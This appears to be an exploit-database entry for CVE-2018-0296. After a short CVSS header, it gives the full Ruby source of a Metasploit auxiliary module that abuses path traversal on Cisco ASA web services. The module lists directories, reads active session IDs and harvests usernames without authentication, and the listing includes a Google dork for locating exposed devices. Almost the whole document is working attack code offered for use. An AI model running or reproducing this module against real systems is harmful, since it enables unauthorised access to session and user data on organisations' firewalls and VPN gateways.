Cisco Adaptive Security Appliance Path Traversal (Metasploit)

2019.08.13
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Cisco Adaptive Security Appliance - Path Traversal", 'Description' => %q{ Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Google Dork:inurl:+CSCOE+/logon.html }, 'License' => MSF_LICENSE, 'Author' => [ 'Yassine Aboukir', #Initial discovery 'Angelo Ruwantha @h3llwings' #msf module ], 'References' => [ ['EDB', '44956'], ['URL', 'https://www.exploit-db.com/exploits/44956/'] ], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix','linux'], 'Targets' => [ ['3000 Series Industrial Security Appliance (ISA) ASA 1000V Cloud Firewall ASA 5500 Series Adaptive Security Appliances ASA 5500-X Series Next-Generation Firewalls ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers Adaptive Security Virtual Appliance (ASAv) Firepower 2100 Series Security Appliance Firepower 4100 Series Security Appliance Firepower 9300 ASA Security Module FTD Virtual (FTDv)', {}] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']), OptString.new('SSL', [true, 'set it as true', 'true']), OptString.new('RPORT', [true, '443', '443']), ], self.class) end def run uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'), }) if res && res.code == 200 && res.body.include?("{'name'") print_good("#{peer} is Vulnerable") print_status("Directory Index ") print_good(res.body) res_dir = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'), }) res_users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'), }) userIDs=res_users.body.scan(/[0-9]\w+/).flatten print_status("CSCEO Directory ") print_good(res_dir.body) print_status("Active Session(s) ") print_status(res_users.body) x=0 begin print_status("Getting User(s)") while (x<=userIDs.length) users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]), }) grab_username=users.body.scan(/user:\w+/) nonstr=grab_username if (!nonstr.nil? && nonstr!="") print_good("#{nonstr}") end x=x+1 end rescue print_status("Complete") end else print_error("safe") return Exploit::CheckCode::Safe end end end


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